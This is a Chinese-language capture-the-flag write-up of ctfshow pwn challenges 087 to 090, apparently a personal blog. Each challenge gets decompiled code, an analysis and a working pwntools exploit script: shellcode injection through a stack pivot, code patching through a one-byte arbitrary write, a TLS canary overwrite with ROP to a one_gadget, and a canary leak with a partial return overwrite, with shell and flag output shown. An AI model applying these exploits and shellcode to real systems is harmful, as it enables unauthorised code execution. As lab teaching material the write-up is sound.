pwn087

保护都没开,可以考虑 ret2shellcode
int ctfshow(){ char s[28]; // [esp+8h] [ebp-20h] BYREF puts("What's your name?"); fflush(stdout); fgets(s, 50, stdin); printf("Hello %s.", s); return fflush(stdout);}这里可以看见有明显的溢出点,但是我们只溢出了 50-32字节能够控制 bp 指针和剩余返回地址,长度是不太够我们 ROP 的,那我们考虑 pivot ,控制 sp 指针指向我们 shellcode 并 jump
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='i386', os='linux')p.recvuntil(b"What's your name?\n")payload = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"jmp_esp = 0x08048d17 sub_esp = asm("sub esp,0x28;jmp esp")payload = payload.ljust(36, b"A")payload += p32(jmp_esp)payload += sub_espp.sendline(payload)p.interactive()[+] Starting local process './pwn': pid 12958[*] Switching to interactive modeHello 1\xc0Ph//shh/bin\x89\xe3PS\x89\xe11Ұ\x0b̀AAAAAAAAAAA\x17\x8d\x04\x08\x83\xec(\xff\xe4.$ whoamilmx$ pwn088

开了 canary 和 NX
int __fastcall main(int argc, const char **argv, const char **envp){ int v4; // [rsp+8h] [rbp-18h] BYREF int v5; // [rsp+Ch] [rbp-14h] _QWORD v6[2]; // [rsp+10h] [rbp-10h] BYREF v6[1] = __readfsqword(0x28u); setbuf(_bss_start, 0); printf("Where What?"); v5 = __isoc99_scanf("%llx %d", v6, &v4); if ( v5 != 2 ) return 0; *(_BYTE *)v6[0] = v4; if ( v4 == 255 ) puts("No flag for you"); return 0;}signed __int64 _(){ return sys_mprotect((unsigned __int64)&loc_4006D1 & 0xFFFFFFFFFFFFF000LL, 0x1000u, 7u);}可以看见已经给了 RWX 权限,那我们就考虑 ret2shellcode 但是从源码来看,我们是没有明显的溢出点的,而*(_BYTE *)v6[0] = v4; 这里是把 v4 能写到 v6[0] 的低一个字节上,我们先看汇编
loc_400756:mov rax, [rbp+var_10]mov edx, [rbp+var_18]mov [rax], dlmov eax, [rbp+var_18]cmp eax, 0FFh jnz short loc_400773 // 0x400767400767 jnz 0xa //jnz 后面的数字指的是相对下一条指令的偏移,这个数字是有符号整数那么我们可以将 0xa 更改,更改至
lea rdx, [rbp+var_18] //0x40072clea rax, [rbp+var_10]mov rsi, raxmov edi, offset aLlxD ; "%llx %d"那么这里我们将 0xa 修改至 0xc3 那么之后就可以无限任意写,刚才 mprotect 开辟了一页 RWX 我们可以将 shellcode 写入到这里,之后 call _puts ,我们修改 call shellcode 的地址即可
#!/usr/bin/env python3from pwn import *context(os="linux", arch="amd64", log_level="info")elf = ELF("./pwn")#io = process("./pwn")io = remote("pwn.challenge.ctf.show", 28263)def write_byte(addr, value): io.sendline(f"{addr:x} {value & 0xff}".encode())write_byte(0x400768, 0xC3)shellcode_addr = 0x400900shellcode = asm(shellcraft.sh())for off, byte in enumerate(shellcode): write_byte(shellcode_addr + off, byte)call_next_rip = 0x400773disp = shellcode_addr - call_next_ripfor off, byte in enumerate(p32(disp)): write_byte(0x40076F + off, byte)write_byte(0x400768, 0xFF)io.interactive()[+] Opening connection to pwn.challenge.ctf.show on port 28263: Done[*] Switching to interactive modeWhere What?$ cat c*ctfshow{7082ea2e-3562-411b-9f20-549e14e736e8}$ pwn089
[*] '/home/lmx/pwn/ctfshow/栈溢出/089_pwn89/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: Noint __fastcall main(int argc, const char **argv, const char **envp){ pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF newthread[1] = __readfsqword(0x28u); init(argc, argv, envp); logo(); pthread_create(newthread, 0, start, 0); if ( pthread_join(newthread[0], 0) ) { puts("exit failure"); return 1; } else { puts("Bye bye"); return 0; }}void *__fastcall start(void *a1){ unsigned __int64 v2; // [rsp+8h] [rbp-1018h] _BYTE s[4104]; // [rsp+10h] [rbp-1010h] BYREF unsigned __int64 v4; // [rsp+1018h] [rbp-8h] v4 = __readfsqword(0x28u); memset(s, 0, 0x1000u); puts("Welcome to CTFshowPWN!"); puts("You want to send:"); v2 = lenth(); if ( v2 <= 0x10000 ) { readn(0, (__int64)s, v2); puts("See you next time!"); } else { puts("Are you kidding me?"); } return 0;}__int64 __fastcall readn(int a1, __int64 a2, unsigned __int64 a3){ unsigned __int64 v5; // [rsp+20h] [rbp-10h] ssize_t v6; // [rsp+28h] [rbp-8h] v5 = 0; while ( v5 < a3 ) { v6 = read(a1, (void *)(v5 + a2), a3 - v5); if ( v6 == -1 ) { if ( *__errno_location() != 11 && *__errno_location() != 4 ) return -1; } else { if ( !v6 ) return v5; v5 += v6; } } return v5;}__int64 lenth(){ char s[8]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); fgets(s, 8, stdin); return atol(s);}这里程序的逻辑我们可以看到,是程序中开了一个线程,同时溢出点我们是足够大的,正常情况下,我们 canary 的逻辑是
mov rax, qword ptr fs:0x28 mov [rbp-0x8], rax此程序内存情况是
低地址 线程栈 buffer saved canary saved rbp return address ... TLS / TCB 高地址那么我们可以完全将 fs:0x28 和栈上覆盖为同一个 canary 这样子
mov rcx, [rbp-0x8] xor rcx, qword ptr fs:0x28我们就可以通过程序检查。
有一个关键点:
if ( v2 <= 0x10000 ) { readn(0, (__int64)s, v2); puts("See you next time!"); }溢出后还会打印 See you next time!,那么在 puts 内部其实调用的是 write() 函数,在 glibc 里,write/read 这类函数是 cancellation point,会检查当前线程状态。它会通过 TLS 找线程结构,例如类似:
self = *(void **)(fs_base + 0x10); flags = *(int *)(self + 某个偏移);在 fs 中,常见布局
fs:0x00 tcb fs:0x08 dtv fs:0x10 self 当前线程结构指针 fs:0x18 multiple_threads 等字段 fs:0x20 sysinfo fs:0x28 stack_guard, fs:0x30 pointer_guard那么如果覆盖成 0x4141414141 那这个是坏地址,会崩,我们需要让这个地址能读到东西,那么 .bss 是最符合要求的。
pwndbg> p/x $rbp$1 = 0x7ffff7bfeea0pwndbg> p/x $fs_base$3 = 0x7ffff7bff6c0pwndbg> p/x $rbp - 0x8$4 = 0x7ffff7bfee98pwndbg> p/x $rbp - 0x1010$5 = 0x7ffff7bfde90pwndbg> p/x $fs_base + 0x28$6 = 0x7ffff7bff6e8pwndbg> x/gx $fs_base + 0x280x7ffff7bff6e8: 0x70c05989ce791400pwndbg> x/gx $rbp - 0x80x7ffff7bfee98: 0x70c05989ce791400 # TLS canary 相对 buf 的偏移pwndbg> p/d ((unsigned long long)$fs_base + 0x28) - ((unsigned long long)$rbp - 0x1010)$7 = 6232 # TLS self 相对 buf 的偏移 pwndbg> p/d ((unsigned long long)$fs_base + 0x10) - ((unsigned long long)$rbp - 0x1010)$9 = 6208pwndbg> p/d ((unsigned long long)$fs_base + 0x10) - ((unsigned long long)$rbp + 0x20)$12 = 2064pwndbg> p/d ((unsigned long long)$fs_base + 0x28) - ((unsigned long long)$rbp + 0x20)$13 = 2088#!/usr/bin/env python3from pwn import *context(arch="amd64", os="linux", log_level="info")HOST = "pwn.challenge.ctf.show"PORT = 28225elf = ELF("./pwn")pop_rdi_ret = 0x400be3pop_rsi_r15_ret = 0x400be1leave_ret = 0x40098cbss_addr = 0x602f00libc_puts = 0x80970one_gadget = 0x4f302io = remote(HOST, PORT)payload = b"a" * 0x1010payload += p64(bss_addr - 8)payload += p64(pop_rdi_ret)payload += p64(elf.got["puts"])payload += p64(elf.plt["puts"])payload += p64(pop_rdi_ret)payload += p64(0)payload += p64(pop_rsi_r15_ret)payload += p64(bss_addr)payload += p64(0)payload += p64(elf.plt["read"])payload += p64(leave_ret)payload = payload.ljust(0x2000, b"a")io.sendlineafter(b"send:\n", str(len(payload)).encode())io.send(payload)io.recvuntil(b"See you next time!\n")puts_addr = u64(io.recv(6).ljust(8, b"\x00"))libc_base = puts_addr - libc_putsone = libc_base + one_gadgetlog.success(f"puts = {hex(puts_addr)}")log.success(f"libc = {hex(libc_base)}")log.success(f"one_gadget = {hex(one)}")io.send(p64(one))io.sendline(b"cat /ctfshow_flag")io.interactive()刚一直在试 ret2libc ,但总是崩,本地和远程偏移总还对不上,现在我们利用链改短,我们迁移到 bss ,并再次布置 one_gadget
pwn090
[*] '/home/lmx/pwn/ctfshow/栈溢出/090_pwn90/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled保护全开
__int64 sub_960(){ _QWORD buf[6]; // [rsp+0h] [rbp-30h] BYREF buf[5] = __readfsqword(0x28u); setvbuf(stdin, 0, 2, 0); setvbuf(_bss_start, 0, 2, 0); memset(buf, 0, 32); puts("Welcome CTFshow:"); read(0, buf, 0x30u); printf("Hello %s:\n", (const char *)buf); read(0, buf, 0x60u); return 0;}int sub_A3E(){ return system("/bin/sh");}我们可以先利用 printf 打印出 canary,然后修改返回地址低字节 \x42 跳到 lea rdi, command
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28105)#p = process('./pwn')elf = ELF('./pwn')context(arch='amd64', os='linux')p.recvuntil(b'Welcome CTFshow:\n')payload = b'b' * 40 + b'a'p.send(payload)p.recvuntil(b'a')canary = u64(b'\x00' + p.recv(7))print(hex(canary))payload = b'a' * 40 + p64(canary) + b'a' * 8 + b'\x42'p.send(payload)p.interactive()
读者回信
正在翻开留言页...